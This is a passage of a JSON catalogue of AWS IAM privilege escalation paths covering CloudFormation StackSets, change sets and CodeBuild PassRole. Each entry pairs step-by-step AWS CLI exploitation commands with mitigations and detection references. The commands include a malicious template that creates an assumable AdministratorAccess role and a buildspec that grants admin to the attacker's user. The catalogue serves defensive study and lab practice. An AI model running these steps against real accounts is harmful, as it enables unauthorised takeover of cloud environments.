          "description": "Update an existing CloudFormation StackSet with a modified template that includes malicious resources. The attacker passes the administration role via `iam:PassRole` (required for StackSet operations) and updates the template to create privilege escalation resources.\n\nFirst, retrieve the current template to understand existing resources:\n```bash\naws cloudformation describe-stack-set \\\n  --stack-set-name TARGET_STACKSET \\\n  --query 'StackSet.TemplateBody' \\\n  --output text > current-template.yaml\n```\n\nThen modify the template to add escalation resources and update the StackSet:\n```bash\naws cloudformation update-stack-set \\\n  --stack-set-name TARGET_STACKSET \\\n  --template-body file://modified-template.yaml \\\n  --administration-role-arn arn:aws:iam::ACCOUNT_ID:role/ADMIN_ROLE \\\n  --execution-role-name EXECUTION_ROLE_NAME \\\n  --capabilities CAPABILITY_NAMED_IAM\n```\n\nThe `--capabilities CAPABILITY_NAMED_IAM` flag is required when creating IAM resources.\n"
        },
        {
          "from": "existing_stackset",
          "to": "execution_role",
          "label": "StackSet uses execution role",
          "description": "When the StackSet is updated, CloudFormation automatically uses the execution role in each target account to create or modify resources. The execution role's permissions determine what resources can be provisioned by the updated template. The role must trust cloudformation.amazonaws.com to be used by StackSets.\n"
        },
        {
          "from": "execution_role",
          "to": "execute_template",
          "label": "CloudFormation provisions resources",
          "description": "CloudFormation StackSets provision the resources defined in the updated template using the execution role's permissions in each target account. The malicious template creates resources that grant the attacker access to the execution role's privileges. This happens across all stack instances (potentially multiple accounts and regions), multiplying the impact of the attack.\n"
        },
        {
          "from": "execute_template",
          "to": "admin_outcome",
          "label": "If execution role has admin permissions",
          "branch": "A",
          "condition": "admin",
          "description": "If the execution role has AdministratorAccess or equivalent administrative permissions, the updated template successfully creates resources that grant the attacker full administrative access. Common approaches include creating an IAM role with AdministratorAccess and a trust policy allowing the starting principal to assume it, or creating an IAM user with admin permissions and access keys that can be retrieved from stack outputs or an S3 bucket.\n\nExample of assuming a newly created role:\n```bash\naws sts assume-role \\\n  --role-arn arn:aws:iam::ACCOUNT_ID:role/CREATED_ROLE \\\n  --role-session-name escalation-session\n```\n"
        },
        {
          "from": "execute_template",
          "to": "partial_outcome",
          "label": "If execution role has some permissions",
          "branch": "B",
          "condition": "some_permissions",
          "description": "If the execution role has elevated but non-administrative permissions, the updated template can create resources that grant partial privilege escalation. The attacker gains access to whatever the execution role can create, which might include Lambda functions with data access, EC2 instances with privileged instance profiles, S3 buckets with sensitive data, or IAM policies that enable additional privilege escalation paths.\n"
        },
        {
          "from": "execute_template",
          "to": "minimal_outcome",
          "label": "If execution role has minimal permissions",
          "branch": "C",
          "condition": "no_permissions",
          "description": "If the execution role only has minimal or non-sensitive permissions, the updated template cannot create resources that provide meaningful additional access. The privilege escalation attempt may not yield significant results. However, the ability to deploy resources across multiple accounts and regions could still be leveraged for reconnaissance or to establish a foothold for future attacks.\n"
        }
      ]
    },
    "gitMetadata": {
      "created": "2025-11-21T03:34:07Z",
      "lastUpdated": "2026-05-31T01:08:20Z",
      "contributors": [
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        },
        {
          "name": "Andoni A.",
          "email": "14891798+andoniaf@users.noreply.github.com",
          "githubUsername": "andoniaf"
        }
      ]
    },
    "filePath": "data/paths/cloudformation/cloudformation-004.yaml"
  },
  {
    "id": "cloudformation-005",
    "name": "cloudformation:CreateChangeSet + cloudformation:ExecuteChangeSet",
    "category": "new-passrole",
    "services": [
      "cloudformation",
      "iam"
    ],
    "permissions": {
      "required": [
        {
          "permission": "cloudformation:CreateChangeSet",
          "resourceConstraints": "Must have permission to create change sets on the target stack"
        },
        {
          "permission": "cloudformation:ExecuteChangeSet",
          "resourceConstraints": "Must have permission to execute change sets on the target stack"
        }
      ],
      "additional": [
        {
          "permission": "cloudformation:DescribeChangeSet",
          "resourceConstraints": "Helpful for viewing change set details and confirming creation"
        },
        {
          "permission": "cloudformation:DescribeStacks",
          "resourceConstraints": "Useful for discovering existing CloudFormation stacks to target"
        },
        {
          "permission": "cloudformation:DescribeStackResource",
          "resourceConstraints": "Helpful for viewing stack resources and service role information"
        }
      ]
    },
    "description": "A principal with `cloudformation:CreateChangeSet` and `cloudformation:ExecuteChangeSet` permissions can inherit administrative privileges from an existing CloudFormation stack's service role. Unlike direct stack updates which require explicit permissions on the resources being modified, change set execution bypasses traditional IAM permission checks by delegating all operations to the stack's attached service role. If that service role has administrative privileges, an attacker can inject malicious infrastructure changes (such as creating a new admin IAM role) through the change set mechanism without needing those elevated permissions directly.",
    "prerequisites": {
      "admin": [
        "An existing CloudFormation stack must exist with a service role attached",
        "The stack's service role must have administrative permissions (e.g., AdministratorAccess or an equivalent custom policy)"
      ],
      "lateral": [
        "An existing CloudFormation stack must exist with a service role attached",
        "The stack's service role must have elevated permissions"
      ]
    },
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "aws cloudformation describe-stacks --query 'Stacks[*].[StackName,RoleARN]' --output table",
          "description": "List CloudFormation stacks and identify one with a privileged service role"
        },
        {
          "step": 2,
          "command": "aws cloudformation get-template \\\n  --stack-name TARGET_STACK \\\n  --query 'TemplateBody' \\\n  --output text > original-template.json\n",
          "description": "Retrieve the current stack template to understand its structure"
        },
        {
          "step": 3,
          "command": "cat > malicious-template.json <<'EOF'\n{\n  \"AWSTemplateFormatVersion\": \"2010-09-09\",\n  \"Description\": \"Updated template via ChangeSet - adds escalated admin role\",\n  \"Resources\": {\n    \"EscalatedAdminRole\": {\n      \"Type\": \"AWS::IAM::Role\",\n      \"Properties\": {\n        \"RoleName\": \"escalated-admin-role\",\n        \"AssumeRolePolicyDocument\": {\n          \"Version\": \"2012-10-17\",\n          \"Statement\": [{\n            \"Effect\": \"Allow\",\n            \"Principal\": {\"AWS\": \"arn:aws:iam::ACCOUNT_ID:user/YOUR_USERNAME\"},\n            \"Action\": \"sts:AssumeRole\"\n          }]\n        },\n        \"ManagedPolicyArns\": [\"arn:aws:iam::aws:policy/AdministratorAccess\"]\n      }\n    }\n  }\n}\nEOF\n",
          "description": "Create a malicious CloudFormation template that adds an admin role you can assume"
        },
        {
          "step": 4,
          "command": "aws cloudformation create-change-set \\\n  --stack-name TARGET_STACK \\\n  --change-set-name escalation-changeset \\\n  --template-body file://malicious-template.json \\\n  --capabilities CAPABILITY_NAMED_IAM \\\n  --change-set-type UPDATE\n",
          "description": "Create a change set with the malicious template"
        },
        {
          "step": 5,
          "command": "aws cloudformation describe-change-set \\\n  --stack-name TARGET_STACK \\\n  --change-set-name escalation-changeset\n",
          "description": "View the change set details to confirm it will add the escalated role"
        },
        {
          "step": 6,
          "command": "aws cloudformation execute-change-set \\\n  --stack-name TARGET_STACK \\\n  --change-set-name escalation-changeset\n",
          "description": "Execute the change set - the stack's admin service role creates the escalated role"
        },
        {
          "step": 7,
          "command": "aws cloudformation wait stack-update-complete --stack-name TARGET_STACK",
          "description": "Wait for the stack update to complete"
        },
        {
          "step": 8,
          "command": "aws sts assume-role \\\n  --role-arn arn:aws:iam::ACCOUNT_ID:role/escalated-admin-role \\\n  --role-session-name escalation-session\n",
          "description": "Assume the newly created escalated admin role and verify administrator access"
        }
      ]
    },
    "recommendation": "Implement least privilege for CloudFormation permissions - avoid granting `cloudformation:CreateChangeSet` and `cloudformation:ExecuteChangeSet` together unless absolutely necessary.\n\nUse resource-based conditions to restrict change set operations to specific stacks:\n\n```json\n{\n  \"Effect\": \"Allow\",\n  \"Action\": [\n    \"cloudformation:CreateChangeSet\",\n    \"cloudformation:ExecuteChangeSet\"\n  ],\n  \"Resource\": \"arn:aws:cloudformation:REGION:ACCOUNT_ID:stack/SpecificStack/*\",\n  \"Condition\": {\n    \"StringEquals\": {\n      \"aws:ResourceTag/Environment\": \"dev\"\n    }\n  }\n}\n```\n\nAdditional controls:\n- Review CloudFormation stack service roles and minimize permissions - avoid using AdministratorAccess for stack service roles\n- Implement Service Control Policies (SCPs) to prevent change set execution on stacks with privileged service roles from non-admin principals\n- Monitor CloudTrail for `CreateChangeSet` and `ExecuteChangeSet` API calls, especially on stacks with elevated permissions\n- Enable MFA requirements for sensitive CloudFormation operations using condition keys like `aws:MultiFactorAuthPresent`\n- Use IAM Access Analyzer to identify CloudFormation stacks with overly permissive service roles\n- Consider using stack policies to prevent modifications to critical infrastructure resources\n- Review and audit the AWS managed policy `SecretsManagerReadWrite` - consider creating a custom policy without CloudFormation permissions if change set operations aren't required\n- Implement CloudWatch alarms on CloudFormation change set creation and execution events for automated detection\n- Use CloudFormation drift detection to identify unexpected stack modifications\n- Establish approval workflows for change set execution on production stacks using AWS Service Catalog or custom automation\n",
    "limitations": "This path provides administrative access only if the target CloudFormation stack's service role has administrative permissions. The attacker gains whatever permissions the stack's service role has. If the role has limited permissions, the attacker gains limited access. However, even limited access may enable multi-hop attacks or access to sensitive data.\n",
    "discoveryAttribution": {
      "firstDocumented": {
        "author": "Erik Steringer",
        "organization": "NCC Group",
        "date": 2019,
        "link": "https://github.com/nccgroup/PMapper/blob/91d2e60102bdadf346d77b60d90ddaa4a678f037/principalmapper/graphing/cloudformation_edges.py#L189"
      }
    },
    "references": [
      {
        "title": "Fighting the Previous War (aka: Attacking and Defending in the Era of the Cloud)",
        "url": "https://www.youtube.com/watch?v=OaEU_5dh9Bc"
      },
      {
        "title": "CloudFormation Change Set Privilege Escalation - Lucian Patian (Blog Post)",
        "url": "https://dev.to/aws-builders/cloudformation-change-set-privilege-escalation-18i6"
      },
      {
        "title": "PMapper CloudFormation Edge Detection (Original Implementation)",
        "url": "https://github.com/nccgroup/PMapper/blob/master/principalmapper/graphing/cloudformation_edges.py"
      },
      {
        "title": "AWS CloudFormation Privilege Escalation - HackTricks",
        "url": "https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc"
      }
    ],
    "relatedPaths": [
      "cloudformation-001",
      "cloudformation-002",
      "cloudformation-003",
      "cloudformation-004"
    ],
    "detectionTools": {
      "pmapper": "https://github.com/nccgroup/PMapper/blob/91d2e60102bdadf346d77b60d90ddaa4a678f037/principalmapper/graphing/cloudformation_edges.py#L188-L210",
      "prowler": "https://github.com/prowler-cloud/prowler/blob/eabe4884379070c72e07103f239bac70d31f6320/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L186",
      "cloudsplaining": "https://github.com/salesforce/cloudsplaining/blob/015f16030f35a40631560a895d5ae416f58b6a94/cloudsplaining/shared/constants.py#L167"
    },
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-one-hop/to-admin/cloudformation-createchangeset+executechangeset",
        "description": "Deploy Terraform scenarios individually or in groups, each with attack and cleanup scripts"
      }
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The principal with `cloudformation:CreateChangeSet` and `cloudformation:ExecuteChangeSet` permissions. Can be an IAM user or role. Unlike the PassRole + CreateStack path, this attacker doesn't create a new stack - they modify an existing stack to leverage its service role's permissions.\n"
        },
        {
          "id": "existing_stack",
          "label": "Existing CloudFormation Stack",
          "type": "resource",
          "description": "An existing CloudFormation stack in the account that has a privileged IAM service role attached. The stack must have been created with the `--role-arn` parameter, which delegates all resource operations to the specified service role. The attacker targets this stack to inject malicious infrastructure changes.\n"
        },
        {
          "id": "stack_service_role",
          "label": "Existing Stack Service Role",
          "type": "principal",
          "description": "The privileged IAM role attached to the existing CloudFormation stack. This role must trust cloudformation.amazonaws.com in its trust policy. When change sets are executed, CloudFormation assumes this role to create, update, or delete resources defined in the template. The attacker inherits whatever permissions this role has.\n"
        },
        {
          "id": "create_changeset",
          "label": "Create Malicious Change Set",
          "type": "payload",
          "color": "#99ccff",
          "description": "The attacker creates a change set on the existing stack with a malicious template. The template adds new resources (typically an IAM role with a trust policy allowing the attacker to assume it) or modifies existing resources to grant elevated access.\n\nThe change set doesn't execute immediately - it's a staged update that must be explicitly executed in a separate API call. This two-step process is what makes this attack unique compared to UpdateStack.\n\nExample malicious template adds an escalated admin role:\n```json\n{\n  \"AWSTemplateFormatVersion\": \"2010-09-09\",\n  \"Resources\": {\n    \"EscalatedAdminRole\": {\n      \"Type\": \"AWS::IAM::Role\",\n      \"Properties\": {\n        \"RoleName\": \"escalated-admin-role\",\n        \"AssumeRolePolicyDocument\": {\n          \"Version\": \"2012-10-17\",\n          \"Statement\": [{\n            \"Effect\": \"Allow\",\n            \"Principal\": {\"AWS\": \"arn:aws:iam::ACCOUNT_ID:user/YOUR_USERNAME\"},\n            \"Action\": \"sts:AssumeRole\"\n          }]\n        },\n        \"ManagedPolicyArns\": [\"arn:aws:iam::aws:policy/AdministratorAccess\"]\n      }\n    }\n  }\n}\n```\n"
        },
        {
          "id": "execute_changeset",
          "label": "Execute Change Set",
          "type": "payload",
          "color": "#99ccff",
          "description": "The attacker executes the change set, triggering CloudFormation to apply the malicious template changes. The CloudFormation service assumes the stack's service role and provisions the resources defined in the change set (such as the new escalated IAM role).\n\nThis step bypasses traditional IAM permission checks because CloudFormation delegates all operations to the stack's service role, not the attacker's principal. The attacker only needs CreateChangeSet and ExecuteChangeSet permissions - they don't need direct IAM permissions to create roles.\n"
        },
        {
          "id": "escalated_role",
          "label": "Newly Created Escalated Role",
          "type": "principal",
          "description": "The IAM role created by the executed change set. This role has a trust policy that allows the starting principal to assume it, and it has whatever permissions were defined in the malicious template (typically AdministratorAccess). The attacker can now assume this role to gain elevated privileges.\n"
        },
        {
          "id": "admin_outcome",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "If the stack's service role has administrative permissions (AdministratorAccess or equivalent), the executed change set successfully creates an escalated IAM role with admin access. The attacker assumes this role and gains full administrative control over the AWS account.\n"
        },
        {
          "id": "partial_outcome",
          "label": "Some additional access",
          "type": "outcome",
          "color": "#ffeb99",
          "description": "If the stack's service role has some elevated permissions but not full admin (e.g., IAM write permissions but not full admin), the executed change set can create resources that grant partial privilege escalation. This might include roles with data access permissions, Lambda functions with elevated privileges, or other resources that enable additional attacks.\n"
        },
        {
          "id": "minimal_outcome",
          "label": "No additional access",
          "type": "outcome",
          "color": "#cccccc",
          "description": "If the stack's service role only has minimal permissions (e.g., basic CloudFormation and S3 access but no IAM permissions), the change set cannot create resources that provide meaningful privilege escalation. The attack may fail or provide limited value.\n"
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "existing_stack",
          "label": "cloudformation:CreateChangeSet",
          "description": "The attacker creates a change set on an existing CloudFormation stack. They target a stack that has a privileged service role attached. The change set is created with a malicious template that defines new or modified resources.\n\nCommand:\n```bash\naws cloudformation create-change-set \\\n  --stack-name TARGET_STACK \\\n  --change-set-name escalation-changeset \\\n  --template-body file://malicious-template.json \\\n  --capabilities CAPABILITY_NAMED_IAM \\\n  --change-set-type UPDATE\n```\n\nNote the `--capabilities CAPABILITY_NAMED_IAM` flag, which is required when the template creates IAM resources with custom names. The attacker does not specify `--role-arn` because the stack already has a service role attached from its original creation.\n"
        },
        {
          "from": "existing_stack",
          "to": "stack_service_role",
          "label": "Stack uses existing service role",
          "description": "When the change set is executed, CloudFormation uses the service role that was originally attached to the stack during creation. The stack's configuration includes a `RoleARN` property that points to this privileged role. All resource operations in the change set execute with this role's permissions, not the attacker's permissions.\n"
        },
        {
          "from": "stack_service_role",
          "to": "create_changeset",
          "label": "Change set staged (not yet executed)",
          "description": "The change set is created and staged for review. At this point, no resources have been created or modified yet. The change set can be viewed with `cloudformation:DescribeChangeSet` to see what changes will be applied. This staging step is what distinguishes CreateChangeSet + ExecuteChangeSet from the more direct UpdateStack operation.\n"
        },
        {
          "from": "create_changeset",
          "to": "execute_changeset",
          "label": "cloudformation:ExecuteChangeSet",
          "description": "The attacker executes the change set to apply the malicious template changes. CloudFormation assumes the stack's service role and begins creating or modifying resources as defined in the change set.\n\nCommand:\n```bash\naws cloudformation execute-change-set \\\n  --stack-name TARGET_STACK \\\n  --change-set-name escalation-changeset\n```\n\nWait for completion:\n```bash\naws cloudformation wait stack-update-complete \\\n  --stack-name TARGET_STACK\n```\n"
        },
        {
          "from": "execute_changeset",
          "to": "escalated_role",
          "label": "CloudFormation creates escalated role",
          "description": "CloudFormation, operating with the stack service role's permissions, creates the new escalated IAM role defined in the malicious template. This role is configured with a trust policy allowing the starting principal to assume it, and with elevated permissions (e.g., AdministratorAccess).\n"
        },
        {
          "from": "escalated_role",
          "to": "admin_outcome",
          "label": "If stack role has admin permissions",
          "branch": "A",
          "condition": "admin",
          "description": "If the stack's service role has AdministratorAccess or equivalent permissions, the escalated role is successfully created with full admin access. The attacker assumes this role to gain complete administrative control.\n\nCommand:\n```bash\naws sts assume-role \\\n  --role-arn arn:aws:iam::ACCOUNT_ID:role/escalated-admin-role \\\n  --role-session-name escalation-session\n```\n"
        },
        {
          "from": "escalated_role",
          "to": "partial_outcome",
          "label": "If stack role has some elevated permissions",
          "branch": "B",
          "condition": "some_permissions",
          "description": "If the stack's service role has IAM write permissions or other elevated permissions but not full admin, the escalated role can be created with partial privileges. The attacker gains some additional access that may enable data exfiltration, reconnaissance, or multi-hop attacks.\n"
        },
        {
          "from": "escalated_role",
          "to": "minimal_outcome",
          "label": "If stack role has minimal permissions",
          "branch": "C",
          "condition": "no_permissions",
          "description": "If the stack's service role lacks IAM write permissions, the change set execution will fail when attempting to create the escalated IAM role. The CloudFormation stack update fails, and the attacker gains no additional privileges. This occurs when the stack's service role has minimal permissions like basic CloudFormation and S3 access only.\n"
        }
      ]
    },
    "gitMetadata": {
      "created": "2025-12-04T18:15:14Z",
      "lastUpdated": "2026-05-31T01:08:20Z",
      "contributors": [
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        },
        {
          "name": "Andoni A.",
          "email": "14891798+andoniaf@users.noreply.github.com",
          "githubUsername": "andoniaf"
        }
      ]
    },
    "filePath": "data/paths/cloudformation/cloudformation-005.yaml"
  },
  {
    "id": "codebuild-001",
    "name": "iam:PassRole + codebuild:CreateProject + codebuild:StartBuild",
    "category": "new-passrole",
    "services": [
      "iam",
      "codebuild"
    ],
    "description": "A principal with `iam:PassRole`, `codebuild:CreateProject`, and `codebuild:StartBuild` can create a new CodeBuild project and attach an existing privileged IAM role to it. By starting a build with a malicious buildspec, the attacker can execute arbitrary code with the permissions of the attached role, allowing privilege escalation. This is a classic \"pass role to service\" privilege escalation pattern where the combination of service creation, role passing, and execution permissions creates an indirect path to elevated privileges. The level of access gained depends on the permissions of the available roles.",
    "prerequisites": {
      "admin": [
        "A role must exist that trusts codebuild.amazonaws.com to assume it",
        "The role must have administrative permissions (e.g., AdministratorAccess or an equivalent custom policy)"
      ],
      "lateral": [
        "A role must exist that trusts codebuild.amazonaws.com to assume it"
      ]
    },
    "exploitationSteps": {
      "awscli": [
        {
          "step": 1,
          "command": "aws iam list-roles --query 'Roles[?AssumeRolePolicyDocument.Statement[?Principal.Service==`codebuild.amazonaws.com`]].RoleName'",
          "description": "Discover roles that trust codebuild.amazonaws.com (optional but helpful for finding privileged roles to pass)"
        },
        {
          "step": 2,
          "command": "aws codebuild create-project --name privesc-project --source \"{\\\"type\\\":\\\"NO_SOURCE\\\",\\\"buildspec\\\":\\\"version: 0.2\\nphases:\\n  build:\\n    commands:\\n      - echo \\\\\\\"Starting privilege escalation...\\\\\\\"\\n      - aws iam attach-user-policy --user-name YOUR_USERNAME --policy-arn arn:aws:iam::aws:policy/AdministratorAccess\\n      - echo \\\\\\\"Successfully attached AdministratorAccess!\\\\\\\"\\\"}\" --artifacts type=NO_ARTIFACTS --environment type=LINUX_CONTAINER,image=aws/codebuild/standard:7.0,computeType=BUILD_GENERAL1_SMALL --service-role arn:aws:iam::ACCOUNT_ID:role/PRIVILEGED_ROLE",
          "description": "Create a CodeBuild project with the privileged role and malicious buildspec that attaches AdministratorAccess to your user"
        },
        {
          "step": 3,
          "command": "aws codebuild start-build --project-name privesc-project",
          "description": "Start the build to execute code with elevated privileges"
        },
        {
          "step": 4,
          "command": "aws codebuild batch-get-builds --ids BUILD_ID",
          "description": "Monitor the build status and wait for completion"
        },
        {
          "step": 5,
          "command": "aws iam list-users --max-items 3",
          "description": "Verify administrative access was successfully obtained (wait 15-30 seconds for IAM propagation)"
        }
      ]
    },
    "limitations": "This path provides administrative access only if the passed role has administrative permissions (e.g., AdministratorAccess or an equivalent custom policy). If only limited roles are available, you gain access limited to those permissions. However, even limited access may enable multi-hop attacks.\n",
    "recommendation": "High powered service roles + overly permissive `iam:PassRole` is what makes this privilege escalation path exploitable and impactful.\n\n- **Avoid administrative service roles** - Very rarely does a CodeBuild project need administrative access. Use the principle of least privilege.\n- **Avoid granting `iam:PassRole` on all resources** - Whenever possible, restrict `iam:PassRole` to specific roles or specific services.\n\nUse IAM policy conditions to restrict which roles can be passed and to which services:\n\n```json\n{\n  \"Effect\": \"Allow\",\n  \"Action\": \"iam:PassRole\",\n  \"Resource\": \"arn:aws:iam::ACCOUNT_ID:role/SpecificCodeBuildRole\",\n  \"Condition\": {\n    \"StringEquals\": {\n      \"iam:PassedToService\": \"codebuild.amazonaws.com\"\n    }\n  }\n}\n```\n\n- Monitor CloudTrail for unusual CodeBuild project creation followed by immediate build execution\n- Monitor CloudTrail for CodeBuild project creation by principals who do not usually create projects\n- Monitor CloudTrail for roles being passed to CodeBuild that haven't been used before\n- Monitor and alert on CodeBuild project creation with privileged roles\n- Regularly audit CodeBuild projects for excessive IAM permissions\n- Regularly audit all IAM roles that trust the CodeBuild service and down-scope any roles with administrative access\n",
    "discoveryAttribution": {
      "firstDocumented": {
        "author": "Erik Steringer",
        "organization": "NCC Group",
        "date": 2019,
        "link": "https://github.com/nccgroup/PMapper"
      }
    },
    "references": [
      {
        "title": "IAM Vulnerable - CodeBuild PassRole",
        "url": "https://github.com/BishopFox/iam-vulnerable"
      },
      {
        "title": "HackTricks - AWS - Codebuild Privesc",
        "url": "https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/index.html#iampassrole-codebuildcreateproject-codebuildstartbuild--codebuildstartbuildbatch"
      }
    ],
    "relatedPaths": [
      "codebuild-002",
      "codebuild-003",
      "codebuild-004",
      "ec2-001",
      "lambda-001",
      "cloudformation-001"
    ],
    "detectionTools": {
      "pmapper": "https://github.com/nccgroup/PMapper/blob/91d2e60102bdadf346d77b60d90ddaa4a678f037/principalmapper/graphing/codebuild_edges.py#L216",
      "prowler": "https://github.com/prowler-cloud/prowler/blob/eabe4884379070c72e07103f239bac70d31f6320/prowler/providers/aws/services/iam/lib/privilege_escalation.py#L203",
      "cloudsplaining": "https://github.com/salesforce/cloudsplaining/blob/015f16030f35a40631560a895d5ae416f58b6a94/cloudsplaining/shared/constants.py#L195"
    },
    "learningEnvironments": {
      "pathfinding-labs": {
        "type": "open-source",
        "githubLink": "https://github.com/DataDog/pathfinding-labs",
        "scenario": "privesc-one-hop/to-admin/iam-passrole+codebuild-createproject+codebuild-startbuild",
        "description": "Deploy Terraform into your own AWS account to practice this attack path"
      },
      "iam-vulnerable": {
        "type": "open-source",
        "githubLink": "https://github.com/BishopFox/iam-vulnerable",
        "scenario": "CodeBuild-CreateProjectPassRole",
        "description": "Deploy Terraform into your own AWS account and practice individual exploitation paths"
      }
    },
    "permissions": {
      "required": [
        {
          "permission": "iam:PassRole",
          "resourceConstraints": "Target role ARN must be in the Resource section and must trust codebuild.amazonaws.com"
        },
        {
          "permission": "codebuild:CreateProject",
          "resourceConstraints": "Must have permission to create CodeBuild projects"
        },
        {
          "permission": "codebuild:StartBuild",
          "resourceConstraints": "Must have permission to start builds on the created project"
        }
      ],
      "additional": [
        {
          "permission": "iam:ListRoles",
          "resourceConstraints": "Helpful for discovering available roles that trust CodeBuild to pass"
        },
        {
          "permission": "iam:GetRole",
          "resourceConstraints": "Useful for viewing role trust policies and attached permissions"
        },
        {
          "permission": "codebuild:BatchGetBuilds",
          "resourceConstraints": "Helpful for monitoring build execution status and verifying successful exploitation"
        }
      ]
    },
    "attackVisualization": {
      "nodes": [
        {
          "id": "start",
          "label": "Starting Principal",
          "type": "principal",
          "description": "The starting principal (user or role) with `iam:PassRole`, `codebuild:CreateProject`, and `codebuild:StartBuild` permissions. This principal will create a CodeBuild project with a privileged role attached and start a build to execute code with elevated privileges.\n"
        },
        {
          "id": "codebuild_project",
          "label": "New CodeBuild Project",
          "type": "resource",
          "description": "The newly created CodeBuild project with a malicious buildspec. The project is created with `codebuild:CreateProject` and configured to use a privileged IAM role via `iam:PassRole`. The buildspec contains commands that will execute when the build starts, designed to grant the starting principal administrative access or perform privileged actions.\n"
        },
        {
          "id": "target_role",
          "label": "Existing Role That Trusts the codebuild Service",
          "type": "principal",
          "description": "The privileged IAM role that is passed to the CodeBuild project during creation. This role must trust codebuild.amazonaws.com as a principal in its trust policy. When the build executes, the CodeBuild environment automatically assumes this role and all buildspec commands run with this role's permissions.\n"
        },
        {
          "id": "execute_buildspec",
          "label": "Execute buildspec commands",
          "type": "payload",
          "color": "#99ccff",
          "description": "When the build starts, the CodeBuild environment assumes the target role and executes the buildspec commands with the role's permissions. The buildspec can perform various privileged actions such as attaching AdministratorAccess to the starting principal, creating new access keys, modifying IAM policies, or accessing sensitive data.\n"
        },
        {
          "id": "admin_outcome",
          "label": "Effective Administrator",
          "type": "outcome",
          "description": "If the target role has administrative permissions (AdministratorAccess or equivalent) or permissions to modify IAM policies (like `iam:AttachUserPolicy`, `iam:PutUserPolicy`, `iam:CreateAccessKey`), the buildspec successfully elevates the starting principal to administrator. The starting principal now has full administrative access to the AWS account.\n"
        },
        {
          "id": "partial_outcome",
          "label": "Some additional access",
          "type": "outcome",
          "color": "#ffeb99",
          "description": "If the target role has some elevated permissions but not full admin or IAM write permissions, the buildspec can perform some privileged actions. This could include access to sensitive data (S3, RDS, DynamoDB) or the ability to pursue additional escalation paths. The level of additional access depends on the specific permissions of the target role.\n"
        },
        {
          "id": "minimal_outcome",
          "label": "No additional access",
          "type": "outcome",
          "color": "#cccccc",
          "description": "If the target role only has minimal permissions or permissions limited to logging/metrics, the buildspec execution may not provide meaningful privilege escalation. However, even limited access could be useful for reconnaissance or as part of a multi-step attack chain.\n"
        }
      ],
      "edges": [
        {
          "from": "start",
          "to": "codebuild_project",
          "label": "iam:PassRole + codebuild:CreateProject",
          "description": "The attacker creates a new CodeBuild project and passes a privileged role to it. The project is created with a malicious inline buildspec that will execute commands to escalate privileges.\n\nCommand:\n```bash\naws codebuild create-project --name privesc-project --source \"{\\\"type\\\":\\\"NO_SOURCE\\\",\\\"buildspec\\\":\\\"version: 0.2\\\\nphases:\\\\n  build:\\\\n    commands:\\\\n      - echo \\\\\\\"Starting privilege escalation...\\\\\\\"\\\\n      - aws iam attach-user-policy --user-name YOUR_USERNAME --policy-arn arn:aws:iam::aws:policy/AdministratorAccess\\\\n      - echo \\\\\\\"Successfully attached AdministratorAccess!\\\\\\\"\\\"}\" --artifacts type=NO_ARTIFACTS --environment type=LINUX_CONTAINER,image=aws/codebuild/standard:7.0,computeType=BUILD_GENERAL1_SMALL --service-role arn:aws:iam::ACCOUNT_ID:role/PRIVILEGED_ROLE\n```\n\nThe buildspec contains commands to attach AdministratorAccess to the starting principal or perform other privileged actions.\n"
        },
        {
          "from": "codebuild_project",
          "to": "target_role",
          "label": "Project assumes role",
          "description": "When the CodeBuild build is started, the CodeBuild service automatically assumes the target role on behalf of the build environment. All buildspec commands then execute with the permissions granted to this role.\n"
        },
        {
          "from": "target_role",
          "to": "execute_buildspec",
          "label": "codebuild:StartBuild",
          "description": "The attacker starts the build, which triggers execution of the buildspec commands with the target role's permissions. The build environment has full AWS SDK access and can make any API calls allowed by the role.\n\nCommand:\n```bash\naws codebuild start-build --project-name privesc-project\n```\n\nThe buildspec commands execute automatically when the build starts. Monitor with `aws codebuild batch-get-builds --ids BUILD_ID` to track execution.\n"
        },
        {
          "from": "execute_buildspec",
          "to": "admin_outcome",
          "label": "If role has admin or IAM write permissions",
          "branch": "A",
          "condition": "admin",
          "description": "If the target role has AdministratorAccess or permissions to modify IAM (like `iam:AttachUserPolicy`, `iam:PutUserPolicy`, `iam:AddUserToGroup`, `iam:CreateAccessKey`), the buildspec successfully elevates the starting principal to administrator. The starting principal gains full control over the AWS account.\n"
        },
        {
          "from": "execute_buildspec",
          "to": "partial_outcome",
          "label": "If role has some elevated permissions",
          "branch": "B",
          "condition": "some_permissions",
          "description": "If the target role has elevated permissions but not full admin or IAM write access, the buildspec can perform some privileged actions. This might include access to sensitive data stores (S3 buckets, RDS databases, DynamoDB tables) or permissions that enable additional privilege escalation techniques through multi-hop attacks.\n"
        },
        {
          "from": "execute_buildspec",
          "to": "minimal_outcome",
          "label": "If role has minimal permissions",
          "branch": "C",
          "condition": "no_permissions",
          "description": "If the target role only has minimal or non-sensitive permissions (like logs:CreateLogGroup, logs:PutLogEvents), the privilege escalation may not yield meaningful additional access. However, even limited access could be useful for reconnaissance or understanding the environment's configuration.\n"
        }
      ]
    },
    "gitMetadata": {
      "created": "2025-10-09T19:58:48Z",
      "lastUpdated": "2026-05-31T01:08:20Z",
      "contributors": [
        {
          "name": "Seth Art",
          "email": "seth.art@datadoghq.com",
          "githubUsername": "sethsec"
        },
        {
          "name": "Andoni A.",
          "email": "14891798+andoniaf@users.noreply.github.com",
          "githubUsername": "andoniaf"
        }
      ]
    },
    "filePath": "data/paths/codebuild/codebuild-001.yaml"
  },
  {
    "id": "codebuild-002",
    "name": "codebuild:StartBuild",
    "category": "existing-passrole",
    "services": [
      "codebuild",
      "iam"
    ],
